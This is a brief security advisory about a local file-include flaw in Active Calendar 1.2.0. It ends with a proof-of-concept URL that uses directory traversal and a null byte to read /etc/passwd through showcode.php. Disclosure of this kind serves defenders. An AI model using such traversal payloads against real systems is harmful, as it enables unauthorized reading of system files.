source: https://www.securityfocus.com/bid/22704/info

Active Calendar is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Version 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/showcode.php?page=../../../../../../../../../../../../../../etc/passwd%00